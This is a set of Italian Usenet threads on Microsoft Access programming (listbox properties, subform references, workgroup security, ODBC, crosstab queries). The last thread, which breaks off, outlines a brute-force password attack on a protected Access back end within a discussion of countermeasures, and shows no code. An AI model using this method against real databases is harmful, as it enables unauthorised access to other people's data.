Per quello che devi fare c'č la proprietą SELECTED:
Me.TuaListBox.Selected(0)=true
Alessandro.
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: Proprietà ListIndex

author: Max

text:
Oppure anke:
if lstLista.ListIndex = -1 then
  lstLista.Value = lstLista.ItemData(0)
End If
"Gianni" <gli...@NOSPAMtiscalinet.it> ha scritto nel messaggio
news:o1RgPNWR+DHXJmKsGbtxB6X=qf...@4ax.com...
> Saluti a tutto il NG
>
> Come impostare da codice la proprietą ListIndex



title: Proprietà ListIndex

text:
On Wed, 6 Feb 2002 07:05:27 +0000 (UTC), "Alessandro"
<
ik2...@libero.it
> wrote:
>"Gianni" <gli...@NOSPAMtiscalinet.it> wrote in message
>news:o1RgPNWR+DHXJmKsGbtxB6X=qf...@4ax.com...
>
>> Saluti a tutto il NG
>>
>> Come impostare da codice la proprietà ListIndex
>> in maniera tale che in una casella combinata la voce selezionata
>> sia sempre la prima indipendentemente dall'ordinamento scelto ?
>>
>> Cordiali saluti
>
>
>Forse non sai che c'è l'HELP:
>La proprietà è di sola lettura.
>
>Per quello che devi fare c'è la proprietà SELECTED:
>Me.TuaListBox.Selected(0)=true
>
>
>Alessandro.
Grazie.


title: E-Mail e modello

author: Mr. Hide

text:
con access è possibile spedire un record via E-mail utilizzando Outlook, ok
e questo è fatto, ma ora vorrei utilizzare un modello html, manon so cosa
fare.
Pensavo di crearne uno in Frontpage ma con che estenzione devo salvarlo? e
come posso farlo utilizzare da access?
grazie+


title: E-Mail e modello

text:
"Mr. Hide" <
edi2...@wappi.com
> ha scritto nel messaggio
news:S%vh8.13640$uN5.3...@twister1.libero.it...

Hai almeno due possibilità per mandare un e-mail:
1) utilizzare l'oggetto VBA di Outlook MailItem con tutti i suoi metodi e
proprietà. In MailItem.HTMBody puoi inserire l'intero codice HTML nel
messaggio di tipo HTML con tutte le formattazzioni e così via.
2) se hai la necessità di avere un modello .htm per altre ragioni puoi usare
il metodo DoCmd.SendObject dove puoi specificare il percorso e il file
modello.
A te la scelta.
One.Emmedi


title: Suddivisione testo

author: Stef Ros

text:
Buongiorno a tutti, č la prima volta che scrivo e approfitto per
ringraziare tutti i partecipanti per le innumerevoli soluzioni di
interesse comune che si trovano sul NG.
Ho un problema nella suddivisione di una serie di testi contenuti nei
record di una tabella ad es :
Fiat punto 1.2 (176ab, 432de) cat iniezione
Mercedes 3.0 (ad343, 53)
Ho letto un precedente post di simile argomento ma dopo svariate prove
non sono riuscito (dato il mio livello di conoscenza) a venirne a capo.
Vorreste essere cosě gentili di mettermi in condizione di dividere il
testo tra quello che c'č tra le parentesi e quello restante?.
Es. testo1 : Fiat punto 1.2 cat iniezione
    testo2 :(176ab, 432de)
    testo1 : Mercedes 3.0
    testo2 (ad343, 53)
Ringrazio in anticipo per ogni soluzione mi indichiate, togliendomi un
problema per me...sob.....ora senza soluzione
Con simpatia
Paolo
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: Suddivisione testo

author: Al

text:
"Stef Ros" <
hac...@libero.it
> ha scritto nel messaggio
news:6d6d33da51760d404f3...@mygate.mailgate.org...

Prova cosě:
1) supponiamo che il campo si chiami Campo1
2) ricerchi prima la "("
3) estrai i caratteri a sin
4) ricerchi la ")"
5) estrai i caratteri a dx
6) estrai i caratteri tra parentesi
ecco il codice:
p1=instr(Campo1,"(")
Car_sin=left(Campo1,p-1)
p2=instrrev(Campo1,")")
Car_dx=rmid(Campo1,p2+1)
Car_traparentesi=mid(Campo1,p1+1,p2-p1-1)
Se invece il testo tra parentesi lo vuoi con le parentesi allora :
Car_traparentesi=mid(Campo1,p1,p2-p1+1)
Spero di aver capito bene.
Alb


title: Suddivisione testo

text:
"Al" <
al...@tiscali.it
> ha scritto nel messaggio
news:aqims5$bin$1...@lacerta.tiscalinet.it...
> ecco il codice:
> p1=instr(Campo1,"(")
> Car_sin=left(Campo1,p-1)
> p2=instrrev(Campo1,")")
> Car_dx=rmid(Campo1,p2+1)
E rmid che diavolo č? :-)
> Car_traparentesi=mid(Campo1,p1+1,p2-p1-1)
Ciao. Claudio.


title: Suddivisione testo

text:
"Claudio" <cld@NOSPAM&COsupereva.it> wrote in message
news:6D5z9.8919$
Bs5.3...@news1.tin.it
> "Al" <
al...@tiscali.it
> ha scritto nel messaggio
> news:aqims5$bin$1...@lacerta.tiscalinet.it...
> > ecco il codice:
> > p1=instr(Campo1,"(")
> > Car_sin=left(Campo1,p-1)
> > p2=instrrev(Campo1,")")
> > Car_dx=rmid(Campo1,p2+1)
>
> E rmid che diavolo è? :-)
>
> > Car_traparentesi=mid(Campo1,p1+1,p2-p1-1)
>
> Ciao. Claudio.
Prima di tutto  grazie a tutti e due! sono rimasto sorpreso
dalla velocità siderale della risposta!! :-) adesso mi ci metto e provo
ma sono certo che mi avete risolto un problema che mi ha fatto
disperare...
Una buona giornata da parte mia ! conto un giorno prossimo di essre
altrettanto
utile!
P.s. Spero di avere fatto replay nel modo corretto......



title: Suddivisione testo

author: Alessandro Cara

text:
Stef Ros wrote:
[cut]
> P.s. Spero di avere fatto replay nel modo corretto......
ehehheh.....ehehhheh........ehhehhhehheh
Tocca tenerli "boni" sti cagnacci
--
a.cara


title: Suddivisione testo

text:
"Stef Ros" <
hac...@libero.it
> ha scritto nel messaggio
news:250b0a4f9facdcc20dc...@mygate.mailgate.org...
> "Claudio" <cld@NOSPAM&COsupereva.it> wrote in message
> news:6D5z9.8919$
Bs5.3...@news1.tin.it
>
> > "Al" <
al...@tiscali.it
> ha scritto nel messaggio
> > news:aqims5$bin$1...@lacerta.tiscalinet.it...
> > > ecco il codice:
> > > p1=instr(Campo1,"(")
> > > Car_sin=left(Campo1,p-1)
> > > p2=instrrev(Campo1,")")
> > > Car_dx=rmid(Campo1,p2+1)
> >
> > E rmid che diavolo è? :-)
> >
> > > Car_traparentesi=mid(Campo1,p1+1,p2-p1-1)
>
> Prima di tutto  grazie a tutti e due! sono rimasto sorpreso
> dalla velocità siderale della risposta!! :-) adesso mi ci metto e provo
> ma sono certo che mi avete risolto un problema che mi ha fatto
> disperare...
A me non mi devi ringraziare ;-) Mi stavo solo chiedendo cosa fosse quell'rmid
nella funzione consigliatati da Al.
Se riesci a risolvere comunque (la strada è quella), bene così. Altrimenti
riposta che vediamo come fare.
>
> Una buona giornata da parte mia ! conto un giorno prossimo di essre
> altrettanto
> utile!
Vedi sopra :-)
> P.s. Spero di avere fatto replay nel modo corretto......
Mamma mia! Ormai Antonio lo usano anche per fare paura ai bambini quando non
vogliono mangiare! :>H
Ciao. Claudio.


title: Protezione Database

text:
Qualcuno gentilmente saprebbe indicarmi del materiale per capirne di piu'
sulle impostazioni di protezione di un database?


title: Protezione Database

author: diego

text:
"Mitch_TB" <
matt...@libero.it
> ha scritto nel messaggio
news:FyVQb.285786$e6.11...@twister2.libero.it...
> Qualcuno gentilmente saprebbe indicarmi del materiale per capirne di piu'
> sulle impostazioni di protezione di un database?
Anche io sto cercando materiale al riguardo... con google ho trovato questo:
1) CREARE UN NUOVO FILE DI INFO SUL
GRUPPO DI LAVORO
Lanciare Wrkgadm.exe (presente nella cartella Access),
fare "Crea" e digitare i dati per Nome, Organizzazione ed IdGruppo.
Salvare il file col nome Mio.mdw
Notate che dopo la creazione, Mio.mdw è
il file in uso (al posto del solito System.mdw, del quale consiglio di fare
una copia di backup...)
2) AVVIARE ACCESS SENZA APRIRE NESSUN DATABASE
3) ASSEGNARE UNA PW ALL'UTENTE AMMINISTRATORE
Andare in Strumenti-
Sicurezza-Account Utenti e Gruppi. Scegliere la scheda Cambia password
d'accesso. Lasciando vuota la casella "Vecchia Password", aggiungere e
confermare una PW nelle altre 2 caselle di testo.
4) CREARE UN NUOVO
ACCOUNT AMMINISTRATORE
Questo nuovo utente sarà il proprietario: Andare in
Strumenti-Sicurezza-Account utenti e gruppi.
Nella scheda utenti fare
click su Nuovo ed aggiungere un Nome ("NuovoAdmin", per esempio) ed un
IDPersonale. Per fare in modo che questo nuovo utente sia amministratore,
nella finestra "Utenti" selezionare l'utente "NuovoAdmin" dalla casella
"Nome", mentre nella sezione "Appartenenza a Gruppo" selezionare
"Amministratori". Con AGGIUNGI si aggiunge l'account nel giusto gruppo
(amministratori).
5) FARE LOGIN COME IL NUOVO AMMINISTRATORE
Uscire e
riavviare Access. A questo punto dovrebbe apparire la finestra di Login,
digitare NuovoAdmin come NOME e lasciare in bianco il campo Password (per
il momento NuovoAdmin NON ha PW!!)
6) OPZIONALE - ASSEGNARE UNA PW AL
NUOVO AMMINISTRATORE
Uguale al punto 3.
7) RIMUOVERE AMMINISTRATORE DAL
GRUPPO AMMINISTRATORI
Accedere a Strumenti-Sicurezza-Account utenti e
gruppi. Nella finestra "Utenti" selezionare l'utente "Amministratore" dalla
casella "Nome", mentre nella sezione "Appartenenza a Gruppo" selezionare
"Amministratori". Con RIMUOVI, l'Amministratore diventa un semplice
utente... :-)
8) RIAVVIARE ACCESS
In questo modo ci si assicura che
tutti i cambiamenti siano stati apportati, e che l'unico amministratore sia
NuovoAdmin. Al login, entrare ovviamente come "NuovoAdmin", specificando
eventualmente la PW settata al
p.to
 6
9) CREARE UN NUOVO DATABASE
Chiamate questo DB "DBProt.mdb". Questo sarà il DB protetto...
10)
CREARE GLI UTENTI ED I GRUPPI NECESSARI PER L'APPLICAZIONE
Fare questo
PRIMA di mettere gli oggetti nel DB permette di stabilire degli accessi di
default.
11) IMPOSTARE LE AUTORIZZAZIONI DI DEFAULT
Andare su
Strumenti-Sicurezza-Account Utenti e Gruppi. Dalla pagina Autorizzazioni
selezionare gli oggetti sui quali si vuole agire per limitare gli accessi
indiscriminati al DB...
12) IMPORTARE TUTTI GLI OGGETTI IN QUESTO DB
Facendo questo si applicheranno le autorizzazioni di default a tutti gli
oggetti del DB. Ecco spiegato perchè e meglio impostare PRIMA gli
account... in questo modo tutti gli oggetti saranno già "configurati"
correttamente a livello di accesso!!
13) IMPOSTARE LE AUTORIZZAZIONI DEL
DB
SOLO L'UTENTE AMMINISTRATORE DEVE AVERE L'AUTORIZZAZIONE "AMMINISTRA"!!
Verificate che gli utenti possano accedere effettivamente solo agli oggetti
che VOI decidete, e che le autorizzazioni siano tutte settate in modo
corretto.
14) REIMPOSTARE IL SYSTEM.MDW DI DEFAULT
Lanciare
Wrkgadm.exe (presente nella cartella Access), fare "Entra" e selezionare
"C:\WINDOWS\SYSTEM\SYSTEM.MDW" premere OK e poi Esci. Questo per evitare la
richiesta di password ogni volta che si apre Access. Per aprire il vostro
DB protetto creare un collegamento sul Desktop nella riga di comando
inserire:
"C:\Programmi\Microsoft Office\Office\msaccess.exe" /wrkgrp
Mio.MDW DBProt.MDB
PS mi pare di aver capito che pero' con access 2002 il programma Wrkgadm.exe
non esiste piu' come componente separato, ma lo trovi in
Strumenti->Protezione->Amministratore Gruppi di lavoro
Se mi sbaglio per favore smentite :)
ciao diego


title: GoToRecord su sottomaschera

author: giaconet

text:
Ciao a tutti.
Ho una maschera (frmPazienti) con una sottomaschera (subfrmInterventi),
contenuta nell'oggetto chdInterventi della maschera frmPazienti.
A seguito dell'evento Form_Current della maschera frmPazienti vorrei
visualizzare l'utlimo record della sottomaschera subfrmPazienti, ma non
riesco a farle riferimento nel codice della maschera frmPazienti.
Ho provato cosě:
Private Sub Form_Current()
    DoCmd.GoToRecord acDataForm, "subfrmInterventi", acLast
End Sub
ma in questo caso Access mi ritorna l'errore di "runtime 2489 - L'oggetto
'subfrmInterventi' non č aperto" ed effettivamente non č aperto (č solo
contenuto nell'oggetto chdInterventi della maschera frmPazienti).
Esiste un sistema per far riferimento alla sottomaschera subfrmInterventi
dal codice della maschera frmPazienti?
Thanx
giaconet


title: GoToRecord su sottomaschera

author: Karl Donaubauer

text:
giaconet <
giac...@nospam.it
> ha scritto:
> ...
> Private Sub Form_Current()
>     DoCmd.GoToRecord acDataForm, "subfrmInterventi", acLast
> End Sub
>
> ma in questo caso Access mi ritorna l'errore di "runtime 2489 - L'oggetto
> 'subfrmInterventi' non è aperto" ed effettivamente non è aperto (è solo
> contenuto nell'oggetto chdInterventi della maschera frmPazienti)...
Se ti capisco bene:
Me!chdInterventi.SetFocus
DoCmd.GoToRecord , , acLast
--
HTH
Karl
*********
Access-FAQ (tedesco):
http://www.donkarl.com


title: GoToRecord su sottomaschera

author: Marco M.

text:
"giaconet"  ha scritto nel messaggio
> Ciao a tutti.
> Ho una maschera (frmPazienti) con una sottomaschera (subfrmInterventi),
> contenuta nell'oggetto chdInterventi della maschera frmPazienti.
> A seguito dell'evento Form_Current della maschera frmPazienti vorrei
> visualizzare l'utlimo record della sottomaschera subfrmPazienti, ma non
> riesco a farle riferimento nel codice della maschera frmPazienti.
>
> Ho provato così:
>
> Private Sub Form_Current()
>     DoCmd.GoToRecord acDataForm, "subfrmInterventi", acLast
> End Sub
>
Puoi anche invertire sull'ordine di discesa dei record, nella Sottomaschera
"subfrmInterventi", nella sezione Dati in Ordina per.... metti il nome dell'
Origine record....chiuso tra parentesi []
esempio se l'Origine record.... è qrySottomascheraInterventi metterai il
seguente:
[qrySottomascheraInterventi].IDInterventi DESC
Il risultato sarà che l'ultimo dato inserito ti apparirà in cima.
Ciao Marco M.


title: GoToRecord su sottomaschera

text:
"Karl Donaubauer" <
ad...@donkarl.com
> ha scritto nel messaggio
news:a9iac2$3h1pp$1...@ID-46617.news.dfncis.de...
> giaconet <
giac...@nospam.it
> ha scritto:
> > ...
> > Private Sub Form_Current()
> >     DoCmd.GoToRecord acDataForm, "subfrmInterventi", acLast
> > End Sub
> >
> > ma in questo caso Access mi ritorna l'errore di "runtime 2489 -
L'oggetto
> > 'subfrmInterventi' non è aperto" ed effettivamente non è aperto (è solo
> > contenuto nell'oggetto chdInterventi della maschera frmPazienti)...
>
> Se ti capisco bene:
>
> Me!chdInterventi.SetFocus
> DoCmd.GoToRecord , , acLast
>
> --
> HTH
> Karl
>
Grazie (o meglio Danken o come si scrive), funziona benissimo.
Mi resta comunque un dubbio: come accedo agli oggetti della sottomaschera?
Se ad esempio voglio scrivere in una casella di testo presente nella
sottomaschera o cambiare il colore di qualcosa come faccio riferimento agli
oggetti contenuti nella sottomaschera?
Grazie ancora.
giaconet


title: GoToRecord su sottomaschera

text:
giaconet <
giac...@nospam.it
> ha scritto:
> "Karl Donaubauer ha scritto:
> > > Private Sub Form_Current()
> > >     DoCmd.GoToRecord acDataForm, "subfrmInterventi", acLast
> > > End Sub
> > >
> > > ma in questo caso Access mi ritorna l'errore di "runtime 2489 -
> L'oggetto
> > > 'subfrmInterventi' non è aperto" ed effettivamente non è aperto (è solo
> > > contenuto nell'oggetto chdInterventi della maschera frmPazienti)...
> >
> > Me!chdInterventi.SetFocus
> > DoCmd.GoToRecord , , acLast
>
> Grazie (o meglio Danken o come si scrive), funziona benissimo.
> Mi resta comunque un dubbio: come accedo agli oggetti della sottomaschera?
> Se ad esempio voglio scrivere in una casella di testo presente nella
> sottomaschera o cambiare il colore di qualcosa come faccio riferimento agli
> oggetti contenuti nella sottomaschera?
p.e.
Me!chdInterventi!NomeCasella = NuovoValore
Me!chdInterventi!NomeCasella.BackColor = vbBlack



title: GoToRecord su sottomaschera

text:
"Karl Donaubauer" <
ad...@donkarl.com
> ha scritto nel messaggio
news:a9kk9s$45756$1...@ID-46617.news.dfncis.de...

Eccezionale. Io non ci riuscivo perchè facevo
Me.chdInterventi.NomeCasella = NuovoValore
Mi spieghi bene la differenza tra il punto esclamativo (!) e il punto (.)
quando si fa riferimento ad oggetti VBA?
Grazie ancora.
Bye
giaconet


title: GoToRecord su sottomaschera

text:
giaconet ha scritto:
> "Karl Donaubauer ha scritto:
> > Me!chdInterventi!NomeCasella = NuovoValore
> > Me!chdInterventi!NomeCasella.BackColor = vbBlack
>
> Eccezionale. Io non ci riuscivo perchè facevo
> Me.chdInterventi.NomeCasella = NuovoValore
> Mi spieghi bene la differenza tra il punto esclamativo (!) e il punto (.)
> quando si fa riferimento ad oggetti VBA?
Normalmente basta la versione di usare "!" per tutti oggetti e
"." per proprietà.
In realtà è più complicato specialmente in questo caso dove sono
oggetti e collections (non lo so in Italiano) diversi.
Con il mio male Italiano sarebbe duro per me di esplicare
tutto questo. Ma forse parli inglese, perché trovo che una volta
michka l'ha detto molto preciso per il "Me":
Michael Kaplan cdma 23.7.99:
***********
The real and official distinction in the language is that the dot (.) is to
be used for explicit properties or methods off the object or collection in
question, while the bang (!) is used for members in the collection, or in
the default collection if its a parent object.
The reason for confusion is that in both Access and VB forms, controls are
BOTH properties and members of the default collection (controls), thus
Me!tbTextbox
Me.tbTextbox
Me("tbTextbox")
Me.Controls!tbTextbox
Me.Controls("tbTextbox")
all point to the same basic object in the end.
************
Dubito che adesso è piu chiaro ma come ho scritto michka è preciso. ;-)
--
cu



title: Istruzione Maximize

author: Giuseppe

text:
Come posso fare per applicare l'istruzione DoCmd.Maximize
sull'evento Attivazione di tutte le maschere esistenti senza
andare a scriverlo su ogni maschera
Grazie anticipato
Giuseppe


title: Istruzione Maximize

text:
"Giuseppe" <
amrma...@tin.it
> ha scritto nel messaggio
news:s2Vzc.338126$hc5.14...@news3.tin.it...

A braccio direi che non si può; oltre al fatto che gestirei l'evento "su
apertura" di ogni form inserendoci il Maximize...
Ciao.
--
Sergio MAZZA


title: Maledette caselle di riepilogo :-<

author: Luca Lacitignola

text:
Se le listbox non fanno al caso mio allora perfavore aiutatemi voi a
risolvere il mio problema:
OBIETTIVO: Calcolare il valore Energia Digeribile (ED) necessaria per 1
cavallo di peso PV!
Per ogni categoria di cavallo ci sono diverse formule per calcolare ED:
1. Mantenimento (1,4+(0,03*[PV]))
2. Lavoro L (1,4+(0,03*[PV]))*1,25
3. Lavoro M (1,4+(0,03*[PV]))*1,5
4. Lavoro H (1,4+(0,03*[PV]))*2
5. Giumenta E (1,4+(0,03*[PV]))*1,25
6. Giumenta L (1,4+(0,03*[PV]))
7 Giumenta latt. E (1,4+(0,03*[PV]))*1,2
8. Giumenta latt. L ((1,4+(0,03*[PV]))+(0,088*[PV]*0,36))
9. Weanling ((1,4+(0,03*[PV]))+(0,066*[PV]*0,36))
10 Yearling ((1,4+(0,03*[PV]))+(10*[ADG]))
11. 2 anni((1,4+(0,03*[PV]))+(16,38*[ADG]))
12. ((1,4+(0,03*[PV]))+(20,9*[ADG]))
"ADG" č l'incremento di peso giornaliero, ma non rappresenta un grosso
problema
Quindi ammettiamo per esempio che il cavallo Varene con peso PV appartiene
alla cat 4.
Mi serve indicare questo valore in una casella di testo ED , come devo Fare?
Spero di essere stato chiaro, e vi chiedo una mano al piů presto visto che
questo database lo devo presentare per la mia tesi di Laurea!
Grazzie a tutti
LUCA LACITIGNOLA


title: Maledette caselle di riepilogo :-<


title: Maledette caselle di riepilogo :-<

author: Lbo da casa

text:
>4. Lavoro H (1,4+(0,03*[PV]))*2
>5. Giumenta E (1,4+(0,03*[PV]))*1,25
>Quindi ammettiamo per esempio che il cavallo Varene con peso PV appartiene
>alla cat 4.
>Mi serve indicare questo valore in una casella di testo ED , come devo Fare?
se (sottolineo, se) ho capito bene vuoi scegliere la categoria del
cavallo tramite una listbox (ossia casella di riepilogo), poi, avendo
assegnato PV e ADG vuoi calcolare la formula corrispondente.
in questo caso una casella di riepilogo è solo uno dei modi possibili
per indicare il tipo di cavallo, comunque, forse, il più carino.
con la casella in sé però non calcoli niente.  dopo che hai scelto una
categoria di cavallo per mezzo della listbox si scatena l'evento
dopoaggiornamento.  in seguito a questo evento puoi scegliere quale
formula adottare in base al valore della listbox stessa per mezzo di
un select case:
select case me.listboxTipoCavallo
	case 1
		...
	case 2
	...
	case 4
		me.ed = (1,4+(0,03*me.PV))*2
	case 5
		me.ed = (1,4+(0,03*me.PV))*1,25
	...
end select
dove PV è una casella di testo che contiene il valore PV.
comunque all'inizio pensavo che parlassi di cavalli vapore...
--
non studio non lavoro non guardo la tv
non vado al cinema non faccio sport
----------------------------------------
il sito comune di it.comp.appl.access:
http://members.xoom.it/it_db_access


title: richiesta password odbc oracle 7

author: Nicky

text:
ciao a tutti,
ho un problema con una connessione ad un rdbms Oracle 7.3 via odbc con
access 2002.
se anche salvo la password quando collego le tabelle interessate, al
successivo riavvio dell'applicazione mi viene presentata la form di
richiesta password proposta normalmente dall'odbc quando nessuna
password è stata salvata.
Qualcuno può darmi una dritta?
Nicoletta


title: richiesta password odbc oracle 7

text:

Per prima cosa verifica sulla msysobjects se le cose stanno veramente
cosi' (attributo Database)
--
ac
y-1=x


title: richiesta password odbc oracle 7

text:
Alessandro Cara ha scritto:

l'attributo database è vuoto, mentre quello connect contiene
DSN=ORA7;DB=EXP01;
dove ora7 è correttamente il mio data source e exp01 è correttamente il
mio db.
purtroppo non vedo altro e la password non c'è proprio
Nicoletta


title: Modificare l'origine dati di una sottomaschera in visualizzazione foglio dati.

author: Riccardo Baldinotti

text:
Ho due diverse query a campi incrociati, le cui intestazioni di riga e
colonna sono uguali.
In una sottomaschera "smStoDati2" l'origine dati è:
SELECT daQuery1.* FROM daQuery1;
Ora vorrei che alla pressione di un pulsante venisse modificata così:
SELECT daQuery2.* FROM daQuery2;
Ho perciò scritto la seguente istruzione:
Forms!mStoDati!smStoDati2.Form.RowSource = "SELECT daQuery" & n & ".*
FROM daQuery" & n & ";"
dove "n" è una variabile che determina la query di origine.
Purtroppo ottengo l'errore:
Errore di run-time 2465:
Errore definito dall'applicazione o dall'oggetto.

Pensavo di mettere più maschere con origine dati diverse, rendendo
visibile quella che mi serve, ma mi pare una soluzione più pesante e
meno elegante.

Qualcuno ha suggerimenti su come evitare l'errore o che altro
scrivere?
Grazie a tutti.
Riccardo Baldinotti


text:
Riccardo Baldinotti wrote:
> ...
> Ho perciň scritto la seguente istruzione:
>
> Forms!mStoDati!smStoDati2.Form.RowSource = "SELECT daQuery" & n & ".*
> FROM daQuery" & n & ";"
> ...
> Errore di run-time 2465:
> Errore definito dall'applicazione o dall'oggetto.
> ...

La maschera non ha una RowSource ma una RecordSource, cioč:

Forms!mStoDati!smStoDati2.Form.RecordSource = ...

--
Ciao
Karl
*********
Access FAQ:
http://www.donkarl.com/it


text:
On 16 Dic, 12:44, "Karl Donaubauer" <
NoS...@donkarl.com
> wrote:
> Riccardo Baldinotti wrote:
> > ...
> > Ho perciò scritto la seguente istruzione:
>
> > Forms!mStoDati!smStoDati2.Form.RowSource = "SELECT daQuery" & n & ".*
> > FROM daQuery" & n & ";"
> > ...
> > Errore di run-time 2465:
> > Errore definito dall'applicazione o dall'oggetto.
> > ...
>
> La maschera non ha una RowSource ma una RecordSource, cioè:
>
> Forms!mStoDati!smStoDati2.Form.RecordSource = ...
>

Ti ringrazio. In efffetti mi sono accorto dell'errore, ma non mi era
ancora uscito il messaggio e non potevo accodare un "Sono un pirla!"
di commento. Poi, la pausa mensa...

Ora che il problema "piccolo" è superato, vorrei fare un'altra
acrobazia.
Tre delle query che uso, tutte a campi incrociati, generano due
colonne di dati e non ho problemi. Altre due hanno più colonne, di cui
conosco il numero, mentre una sesta può generare colonne variabili in
funzione degli anni considerati.
Adesso vorrei espandere il meccanismo del cambiamento di
**RecordSource** a queste altre query in modo da vedere il numero di
colonne presenti.

Penso che dovrei agggiungere caselle di testo (o allargarle e renderle
visibili), modificarne il ControlSource... e nel terzo caso prevedere
un ciclo per quante colonne mi troverò ad avere.

Oppure diventa più conveniente l'idea di usare sottomaschere diverse e
rendere visibile quella che mi serve?

Grazie ancora.
Riccardo Baldinotti


text:
Riccardo Baldinotti wrote:
> Karl Donaubauer wrote:
>>> ...
>> Forms!mStoDati!smStoDati2.Form.RecordSource = ...
>> ...
> Tre delle query che uso, tutte a campi incrociati, generano due
> colonne di dati e non ho problemi. Altre due hanno più colonne, di cui
> conosco il numero, mentre una sesta può generare colonne variabili in
> funzione degli anni considerati.
> Adesso vorrei espandere il meccanismo del cambiamento di
> **RecordSource** a queste altre query in modo da vedere il numero
> di colonne presenti.
>
> Penso che dovrei agggiungere caselle di testo (o allargarle e renderle
> visibili), modificarne il ControlSource... e nel terzo caso prevedere
> un ciclo per quante colonne mi troverò ad avere.
> ...

Sarebbe piu facile impostare la query come oggetto origine:

Forms!mStoDati!smStoDati2.SourceObject = "Query.NomeDellaSestaQuery"



text:

GRANDE!

Donaubauer Ministro dell'Istruzione!

Grazie
Riccardo Baldinotti


text:
Riccardo Baldinotti wrote:
> ...Donaubauer Ministro dell'Istruzione!

Ah, sě, adesso che avete un governo di esperti...
prendo il posto solo se include la competenza per la
manutenzione e l'insegnamento della lingua italiana.

--

:-)



author: Carlo Costarella

text:
"Riccardo Baldinotti" <
bari...@gmail.com
> ha scritto nel messaggio
news:2ef0ebdb-d0d9-4f30...@z17g2000vbe.googlegroups.com...

GRANDE!

Donaubauer Ministro dell'Istruzione!

Grazie
Riccardo Baldinotti

Il buon Karl non puņ perchč l'Austria č
uno dei pochi paesi al mondo che include il concetto di neutralitą eterna
nella sua costituzione.
Ciao, Carlo


text:
On 16 Dic, 14:50, "Karl Donaubauer" <
NoS...@donkarl.com
> wrote:
> Riccardo Baldinotti wrote:
> > ...Donaubauer Ministro dell'Istruzione!
>
> Ah, sì, adesso che avete un governo di esperti...
> prendo il posto solo se include la competenza per la
> manutenzione e l'insegnamento della lingua italiana.
>
> --

Ma ti faccio consulenza volentieri!

ehm... già che ci siamo, signor ministro... le mie sono query a campi
incrociati, come posso fare per aggiungere i totali?

Grazie
Riccardo Baldinotti


text:
On 16 Dic, 17:56, "Carlo Costarella" <
carlocoslib...@libero.it
> wrote:
> "Riccardo Baldinotti" <
barimo...@gmail.com
> ha scritto nel messaggionews:2ef0ebdb-d0d9-4f30...@z17g2000vbe.googlegroups.com...
>
> GRANDE!
>
> Donaubauer Ministro dell'Istruzione!
>
> Grazie
> Riccardo Baldinotti
>
> Il buon Karl non può perchè l'Austria è
> uno dei pochi paesi al mondo che include il concetto di neutralità eterna
> nella sua costituzione.
> Ciao, Carlo

Ma ci facciamo annettere... con buona pace di Garibaldi!
Riccardo Baldinotti


text:
Riccardo Baldinotti wrote:
> ...
> le mie sono query a campi
> incrociati, come posso fare per aggiungere i totali?

Quale tipo di totali in quale versione di Access?

Le query a campi incrociati nello stesso tempo sono anche
query di aggregazione e nella vis. struttura hanno la riga per
scegliere una formula (somma ecc.). Oppure intendi la nuova
riga nella vis. foglio dati che esiste nelle versioni A07 e A10?

--
Ciao



text:
On 19 Dic, 17:33, "Karl Donaubauer" <
NoS...@donkarl.com
> wrote:
> Riccardo Baldinotti wrote:
> > ...
> > le mie sono query a campi
> > incrociati, come posso fare per aggiungere i totali?
>
> Quale tipo di totali in quale versione di Access?
>
> Le query a campi incrociati nello stesso tempo sono anche
> query di aggregazione e nella vis. struttura hanno la riga per
> scegliere una formula (somma ecc.). Oppure intendi la nuova
> riga nella vis. foglio dati che esiste nelle versioni A07 e A10?
>

Riga dei totali? Proprio quello. Io uso A10. Ho provato a vedere la
finestra delle proprietà ma non ho trovato la voce.
Riccardo Baldinotti


text:
Riccardo Baldinotti wrote:
> Karl Donaubauer wrote:
>>> ...
>>> le mie sono query a campi
>>> incrociati, come posso fare per aggiungere i totali?
>>
>> Quale tipo di totali in quale versione di Access?
>>
>> Le query a campi incrociati nello stesso tempo sono anche
>> query di aggregazione e nella vis. struttura hanno la riga per
>> scegliere una formula (somma ecc.). Oppure intendi la nuova
>> riga nella vis. foglio dati che esiste nelle versioni A07 e A10?
>
> Riga dei totali? Proprio quello. Io uso A10. Ho provato a vedere la
> finestra delle proprietą ma non ho trovato la voce.

Non l'uso mai. Per questo non ho mai guardato se funziona
anche nelle query a campi incrociati. Vedi:
http://office.microsoft.com/it-it/access-help/HA001233062.aspx#BM2




text:
On 20 Dic, 12:13, "Karl Donaubauer" <
NoS...@donkarl.com
> wrote:
> Riccardo Baldinotti wrote:
> > Karl Donaubauer wrote:
> >>> ...
> >>> le mie sono query a campi
> >>> incrociati, come posso fare per aggiungere i totali?
>
> >> Quale tipo di totali in quale versione di Access?
>
> >> Le query a campi incrociati nello stesso tempo sono anche
> >> query di aggregazione e nella vis. struttura hanno la riga per
> >> scegliere una formula (somma ecc.). Oppure intendi la nuova
> >> riga nella vis. foglio dati che esiste nelle versioni A07 e A10?
>
> > Riga dei totali? Proprio quello. Io uso A10. Ho provato a vedere la
> > finestra delle proprietà ma non ho trovato la voce.
>
> Non l'uso mai. Per questo non ho mai guardato se funziona
> anche nelle query a campi incrociati. Vedi:
http://office.microsoft.com/it-it/access-help/HA001233062.aspx#BM2

>

Ho trovato, funziona su query e tabelle, ma si tratta di una funzione
che non rimane memorizzata nella struttura della tabella/query  e
perciò andrebbe richiamata dall'utente ogni volta che serve. Poco
male, ma non mi sembra molto amichevole per utenti ancora più niubbi
di me.
Tutto sommato trovo che la visualizzazione tabelllare dellla query sia
poco carina, e poi non ci posso mettere le mani come vorrei per
modificare l'origine dati in base a selezioni operate dall'utente.
Credo che dovrò rassegnarmi a costruire una certa serie di
sottomaschere da richiamare secondo necessità.
Grazie per i consigli che mi hanno permesso di fare la strada.
Riccardo Baldinotti


title: craccare un Db e contromisure

author: marco

text:
Ciao a tutti.
Sto cercando di trovare una soluzione ragionevole al problema della
protezione dei dati (non del db).
Il problema č questo:
se imposto un Be con password, posso creare da un altro bd una funzione che
mi provi tutte le possibili combinazioni.
Ne ho buttata giů una cosě:
' Esiste una tabella in locale chiamata Tabella1 con un campo Stringa
(text)
Supponendo di avere nel campo Stringa, le possibili combinazioni
alfanumeriche di 4,5,6,7 ...20 lettere (che credo non ci voglia nulla a
creare), si puň operare un attacco a forza bruta che scopra la password del
db.
La prima (ovvia) contromisura č che si imposti una password di almeno 10
caratteri
